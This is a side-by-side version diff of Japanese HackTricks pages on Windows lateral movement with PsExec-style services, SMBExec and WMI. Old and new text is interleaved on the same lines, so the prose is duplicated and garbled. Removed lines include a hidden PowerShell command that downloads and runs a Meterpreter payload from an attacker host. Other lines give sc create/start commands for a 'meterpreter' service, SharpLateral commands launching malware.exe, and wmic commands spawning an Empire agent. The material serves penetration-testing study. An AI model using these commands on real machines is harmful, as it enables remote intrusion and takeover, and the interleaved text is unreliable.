![](../../.gitbook/assets/copy\_binary\_admin.png) - **バイナリのコピー**実行可能ファイルは、コマンドプロンプトからADMIN$共有にコピーされますが、隠れたままのためにファイルシステムの任意の場所に配置することもできます。
**サービスを作成する**。 Windows の `sc` コマンドは、Windows サービスを問い合わせ、作成、削除などを行うために使用され、リモートで使用することができます。詳細は [こちら](https://technet.microsoft.com/en-us/library/bb490995.aspx) を読んでください。コマンドプロンプトから、アップロードしたバイナリを指す "meterpreter" という名前のサービスをリモートで作成します: - **サービスの作成**Windowsの`sc`コマンドを使用して、Windowsサービスをリモートでクエリ、作成、削除できるため、アップロードされたバイナリを指すように"meterpreter"という名前のサービスが作成されます。
![](../../.gitbook/assets/sc\_create.png) - **サービスの開始**:最後のステップは、サービスの開始であり、バイナリが本物のサービスバイナリではなく、期待される応答コードを返さないため、「タイムアウト」エラーが発生する可能性が高いです。このエラーは、主な目標がバイナリの実行であるため、重要ではありません。
**サービスを開始する**。最後のステップは、サービスを開始してバイナリを実行することです。 _注記:_ サービスが開始されると "タイムアウト" し、エラーが生成されます。それは、私たちの meterpreter バイナリが実際のサービスバイナリではなく、期待される応答コードを返さないためです。それは問題ありません。一度実行して発火させるだけで十分です: Metasploitリスナーを観察すると、セッションが正常に開始されたことがわかります。
![](../../.gitbook/assets/sc\_start\_error.png) [`sc`コマンドについて詳しく学ぶ](https://technet.microsoft.com/en-us/library/bb490995.aspx)。
Metasploit リスナーを見ると、セッションが開始されたことがわかります。 詳細な手順はこちら:[https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
**サービスをクリーンアップする。** **Windows SysinternalsバイナリPsExec.exeを使用することもできます**
![](../../.gitbook/assets/sc\_delete.png)
ここから抜粋: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
**Windows Sysinternals バイナリ PsExec.exe も使用できます:**
![](<../../.gitbook/assets/image (165).png>) ![](<../../.gitbook/assets/image (165).png>)
また、[**SharpLateral**](https://github.com/mertdas/SharpLateral) を使用することもできます: [**SharpLateral**](https://github.com/mertdas/SharpLateral)も使用できます:
{% code overflow="wrap" %} {% code overflow="wrap" %}
``` ```
SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
``` ```
```markdown
{% endcode %} {% endcode %}
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェックしてください</strong></summary> <summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。 * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。 * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをチェックしてください。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加するか**、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。 * **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details> </details>
```

View file

@ -2,66 +2,52 @@
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をご覧ください</strong></summary> <summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法:
* **HackTricksに広告を掲載したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。 * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**してください。 * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で私をフォローする [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有してください * **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
</details> </details>
## 動作原理 ## How it Works
**SmbexecはPsexecのように機能します。** この例では、被害者内の悪意のある実行可能ファイルを"_binpath_"に指定する**代わりに**、**cmd.exeまたはpowershell.exe**に指定し、それらのいずれかがバックドアをダウンロードして実行します。 **Smbexec**は、悪意のある実行ファイルを使用せずに、被害者のシステム上の**cmd.exe**または**powershell.exe**をターゲットにしてバックドアの実行を行う**Psexec**と同様の方法で動作します。
## **SMBExec** ## **SMBExec**
```bash
攻撃者とターゲットの側から見たsmbexecの実行時の様子を見てみましょう smbexec.py WORKGROUP/username:password@10.10.10.10
![](../../.gitbook/assets/smbexec\_prompt.png)
サービス"BTOBTO"が作成されていることがわかります。しかし、`sc query`を実行したときにターゲットマシンにそのサービスは存在しません。システムログが何が起こったのかの手がかりを明らかにしています:
![](../../.gitbook/assets/smbexec\_service.png)
サービスファイル名には、実行するコマンド文字列が含まれています(%COMSPEC%はcmd.exeの絶対パスを指します。実行するコマンドをbatファイルにエコーし、stdoutとstderrをTempファイルにリダイレクトし、batファイルを実行して削除します。Kaliに戻ると、PythonスクリプトがSMB経由で出力ファイルを引き出し、私たちの"擬似シェル"に内容を表示します。私たちが"シェル"に入力する各コマンドについて、新しいサービスが作成され、プロセスが繰り返されます。これにより、バイナリをドロップする必要がなく、希望する各コマンドを新しいサービスとして実行するだけです。間違いなくよりステルス性が高いですが、実行された各コマンドに対してイベントログが作成されることを見ました。それでも、インタラクティブでない"シェル"を取得するための非常に巧妙な方法です!
## 手動SMBExec
**またはサービス経由でコマンドを実行する**
smbexecが示したように、バイナリが必要なくても、サービスbinPathsから直接コマンドを実行することが可能です。これは、ターゲットWindowsマシンで任意のコマンドを実行する必要がある場合に覚えておくと便利なテクニックです。簡単な例として、バイナリなしでリモートサービスを使用してMeterpreterシェルを取得しましょう。
Metasploitの`web_delivery`モジュールを使用し、リバースMeterpreterペイロードを持つPowerShellターゲットを選択します。リスナーが設定され、ターゲットマシンで実行するコマンドを教えてくれます
``` ```
powershell.exe -nop -w hidden -c $k=new-object net.webclient;$k.proxy=[Net.WebRequest]::GetSystemWebProxy();$k.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $k.downloadstring('http://10.9.122.8:8080/AZPLhG9txdFhS9n'); Smbexecの機能には、バイナリをドロップせずにコマンドを実行するためにターゲットマシン上に一時サービス「BTOBTO」を作成することが含まれます。このサービスは、cmd.exeのパス%COMSPEC%)を介してコマンドを実行するために構築され、出力を一時ファイルにリダイレクトし、実行後に自体を削除します。この方法はステルス性がありますが、各コマンドごとにイベントログを生成し、攻撃者側から発行されたすべてのコマンドに対してこのプロセスを繰り返すことで、非対話的な「シェル」を提供します。
## バイナリを使用せずにコマンドを実行する
このアプローチにより、サービスのbinPathsを介した直接的なコマンド実行が可能となり、バイナリの必要性がなくなります。これは、Windowsターゲット上での一度限りのコマンド実行に特に有用です。たとえば、Metasploitの`web_delivery`モジュールを使用して、PowerShellを対象とする逆接続Meterpreterペイロードを使用して、必要な実行コマンドを提供するリスナーを確立できます。攻撃者のWindowsマシンで、binPathをcmd.exeを介してこのコマンドを実行するように設定したリモートサービスを作成して起動することで、潜在的なサービス応答エラーにもかかわらず、Metasploitリスナー側でのコールバックとペイロードの実行を実現できます。
### コマンドの例
次のコマンドを使用して、サービスの作成と開始を行うことができます。
```cmd
sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]"
sc start [ServiceName]
``` ```
Windows攻撃ボックスから、リモートサービス"metpsh"を作成し、binPathを設定して、ペイロード付きのcmd.exeを実行します # 参考文献
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
![](../../.gitbook/assets/sc\_psh\_create.png)
そして、それを開始します:
![](../../.gitbook/assets/sc\_psh\_start.png)
私たちのサービスが応答しないためエラーが発生しますが、Metasploitリスナーを見ると、コールバックが行われ、ペイロードが実行されたことがわかります。
すべての情報はここから抽出されました:[https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じて、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricks をサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricks で企業を宣伝したい** または **HackTricks を PDF でダウンロードしたい** 場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。 * [**公式の PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加するか**、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローしてください。** * **💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローする。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有してください。 * **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに PR を提出して、あなたのハッキングテクニックを共有してください。
</details> </details>

View file

@ -2,102 +2,94 @@
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェックしてください</strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクション * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。 * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で私をフォローする:[**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。 * **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
## 動作原理 ## 動作の説明
Wmiは、ユーザー名/(パスワード/ハッシュ)がわかっているホストでプロセスを開くことができます。その後、Wmiexecはwmiを使用して、実行を要求された各コマンドを実行しますこれがWmicexecがセミインタラクティブシェルを提供する理由です ユーザー名とパスワードまたはハッシュがわかっているホストでプロセスを開くことができます。WMIを使用してコマンドを実行し、Wmiexecによって半インタラクティブなシェル体験を提供します
**dcomexec.py:** このスクリプトは、wmiexec.pyに似たセミインタラクティブシェルを提供しますが、異なるDCOMエンドポイントShellBrowserWindow DCOMオブジェクトを使用します。現在、MMC20. Application、Shell Windows、およびShell Browser Windowオブジェクトをサポートしています。[こちら](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)から **dcomexec.py:** 異なるDCOMエンドポイントを利用し、このスクリプトはWmiexec.pyに似た半インタラクティブなシェルを提供します。具体的には、ShellBrowserWindow DCOMオブジェクトを活用しています。現在、MMC20、Application、Shell Windows、Shell Browser Windowオブジェクトをサポートしています。出典[Hacking Articles](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
## WMIの基 ## WMIの基
### ネームスペース ### 名前空間
WMIはディレクトリスタイルの階層に分かれており、\rootコンテナとその下の他のディレクトリがあります。これらの「ディレクトリパス」はネームスペースと呼ばれます。\ ディレクトリスタイルの階層構造で構成されており、WMIのトップレベルコンテナは\rootで、その下に名前空間として組織された追加のディレクトリがあります。
ネームスペースのリスト: 名前空間をリストするコマンド:
```bash ```bash
#Get Root namespaces # Retrieval of Root namespaces
gwmi -namespace "root" -Class "__Namespace" | Select Name gwmi -namespace "root" -Class "__Namespace" | Select Name
#List all namespaces (you may need administrator to list all of them) # Enumeration of all namespaces (administrator privileges may be required)
Get-WmiObject -Class "__Namespace" -Namespace "Root" -List -Recurse 2> $null | select __Namespace | sort __Namespace Get-WmiObject -Class "__Namespace" -Namespace "Root" -List -Recurse 2> $null | select __Namespace | sort __Namespace
#List namespaces inside "root\cimv2" # Listing of namespaces within "root\cimv2"
Get-WmiObject -Class "__Namespace" -Namespace "root\cimv2" -List -Recurse 2> $null | select __Namespace | sort __Namespace Get-WmiObject -Class "__Namespace" -Namespace "root\cimv2" -List -Recurse 2> $null | select __Namespace | sort __Namespace
``` ```
名前空間のクラスをリストするには: 特定の名前空間内のクラスは、次のコマンドを使用してリストできます:
```bash ```bash
gwmwi -List -Recurse #If no namespace is specified, by default is used: "root\cimv2" gwmwi -List -Recurse # Defaults to "root\cimv2" if no namespace specified
gwmi -Namespace "root/microsoft" -List -Recurse gwmi -Namespace "root/microsoft" -List -Recurse
``` ```
### **クラス** ### **クラス**
WMIクラス名win32_processは、どんなWMIアクションの出発点です。常にクラス名とそれが位置するネームスペースを知る必要があります。 WMIクラス名win32\_processとそれが存在する名前空間を知ることは、WMI操作にとって重要です。
`win32`で始まるクラスをリストアップ `win32`で始まるクラスをリストするコマンド
```bash ```bash
Get-WmiObject -Recurse -List -class win32* | more #If no namespace is specified, by default is used: "root\cimv2" Get-WmiObject -Recurse -List -class win32* | more # Defaults to "root\cimv2"
gwmi -Namespace "root/microsoft" -List -Recurse -Class "MSFT_MpComput*" gwmi -Namespace "root/microsoft" -List -Recurse -Class "MSFT_MpComput*"
``` ```
クラスを呼び出す: クラスの呼び出し:
```bash ```bash
#When you don't specify a namespaces by default is "root/cimv2" # Defaults to "root/cimv2" when namespace isn't specified
Get-WmiObject -Class win32_share Get-WmiObject -Class win32_share
Get-WmiObject -Namespace "root/microsoft/windows/defender" -Class MSFT_MpComputerStatus Get-WmiObject -Namespace "root/microsoft/windows/defender" -Class MSFT_MpComputerStatus
``` ```
### 方法 ### メソッド
WMI クラスには、実行可能な1つ以上の関数があります。これらの関数はメソッドと呼ばれます。 メソッドは、WMIクラスの1つ以上の実行可能な機能です。
```bash ```bash
#Load a class using [wmiclass], leist methods and call one # Class loading, method listing, and execution
$c = [wmiclass]"win32_share" $c = [wmiclass]"win32_share"
$c.methods $c.methods
#Find information about the class in https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-share # To create a share: $c.Create("c:\share\path","name",0,$null,"My Description")
$c.Create("c:\share\path","name",0,$null,"My Description")
#If returned value is "0", then it was successfully executed
``` ```
```bash ```bash
#List methods # Method listing and invocation
Get-WmiObject -Query 'Select * From Meta_Class WHERE __Class LIKE "win32%"' | Where-Object { $_.PSBase.Methods } | Select-Object Name, Methods
#Call create method from win32_share class
Invoke-WmiMethod -Class win32_share -Name Create -ArgumentList @($null, "Description", $null, "Name", $null, "c:\share\path",0) Invoke-WmiMethod -Class win32_share -Name Create -ArgumentList @($null, "Description", $null, "Name", $null, "c:\share\path",0)
``` ```
## WMI 列挙 ## WMI列挙
### WMI サービスの確認 ### WMIサービスの状態
WMI サービスが実行中かどうかを確認する方法は次のとおりです: WMIサービスが稼働しているかどうかを確認するコマンド:
```bash ```bash
#Check if WMI service is running # WMI service status check
Get-Service Winmgmt Get-Service Winmgmt
Status Name DisplayName
------ ---- -----------
Running Winmgmt Windows Management Instrumentation
#From CMD # Via CMD
net start | findstr "Instrumentation" net start | findstr "Instrumentation"
``` ```
### システム情報 ### システムおよびプロセス情報
WMIを介してシステムおよびプロセス情報を収集する
```bash ```bash
Get-WmiObject -ClassName win32_operatingsystem | select * | more Get-WmiObject -ClassName win32_operatingsystem | select * | more
```
### プロセス情報
```bash
Get-WmiObject win32_process | Select Name, Processid Get-WmiObject win32_process | Select Name, Processid
``` ```
攻撃者の観点から、WMIはシステムやドメインに関する機密情報を列挙する上で非常に価値があります。 攻撃者にとって、WMIはシステムやドメインに関する機密データを列挙するための強力なツールです。
``` ```bash
wmic computerystem list full /format:list wmic computerystem list full /format:list
wmic process list /format:list wmic process list /format:list
wmic ntdomain list /format:list wmic ntdomain list /format:list
@ -105,35 +97,21 @@ wmic useraccount list /format:list
wmic group list /format:list wmic group list /format:list
wmic sysaccount list /format:list wmic sysaccount list /format:list
``` ```
### **手動リモートWMIクエリ**
特定の情報ローカル管理者またはログオンユーザーを取得するために、慎重なコマンド構築を行うことで、リモートでWMIをクエリすることが可能です。
リモートマシン上でのローカル管理者のステルス識別やログオンユーザーの特定は、特定のWMIクエリを使用して達成できます。`wmic`は、複数のノードでコマンドを同時に実行するために、テキストファイルから読み取ることもサポートしています。
Empireエージェントを展開するなど、WMIを介してプロセスをリモートで実行するには、以下のコマンド構造が使用され、正常な実行は「0」という戻り値で示されます。
```bash ```bash
Get-WmiObject Win32_Processor -ComputerName 10.0.0.182 -Credential $cred wmic /node:hostname /user:user path win32_process call create "empire launcher string here"
``` ```
## **手動リモートWMIクエリ** このプロセスは、WMIのリモート実行およびシステム列挙の機能を示し、システム管理およびペネトレーションテストの両方での有用性を強調しています。
例えば、リモートマシン上のローカル管理者を発見する非常に隠密な方法は以下の通りですdomainはコンピュータ名であることに注意してください
{% code overflow="wrap" %} # 参考文献
```bash * [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
wmic /node:ordws01 path win32_groupuser where (groupcomponent="win32_group.name=\"administrators\",domain=\"ORDWS01\"")
```
{% endcode %}
管理者を探しているときに役立つワンライナーは、どのユーザーがマシンにログオンしているかを確認することです:
```bash
wmic /node:ordws01 path win32_loggedonuser get antecedent
```
`wmic` はテキストファイルからノードを読み取り、それら全てにコマンドを実行することもできます。ワークステーションのテキストファイルがある場合:
```
wmic /node:@workstations.txt path win32_loggedonuser get antecedent
```
**WMIを介してリモートでプロセスを作成し、Empireエージェントを実行します**
```bash
wmic /node:ordws01 /user:CSCOU\jarrieta path win32_process call create "**empire launcher string here**"
```
正常に実行されたことがわかりますReturnValue = 0。そして1秒後、Empireリスナーがそれを捕捉します。プロセスIDはWMIが返したものと同じです。
この情報はこちらから抜粋されました:[https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
## 自動ツール ## 自動ツール
@ -143,20 +121,18 @@ wmic /node:ordws01 /user:CSCOU\jarrieta path win32_process call create "**empire
```bash ```bash
SharpLateral redwmi HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe SharpLateral redwmi HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
``` ```
```markdown
{% endcode %} {% endcode %}
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェックしてください</strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricks をサポートする他の方法:
* **HackTricksにあなたの会社を広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。 * **HackTricks で企業を宣伝したい**場合や **HackTricks をPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。 * [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをチェックしてください。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加するか**、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローしてください。** * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や [**telegramグループ**](https://t.me/peass)に **参加**したり、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を **フォロー**する
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。 * **ハッキングテクニックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する
</details> </details>
```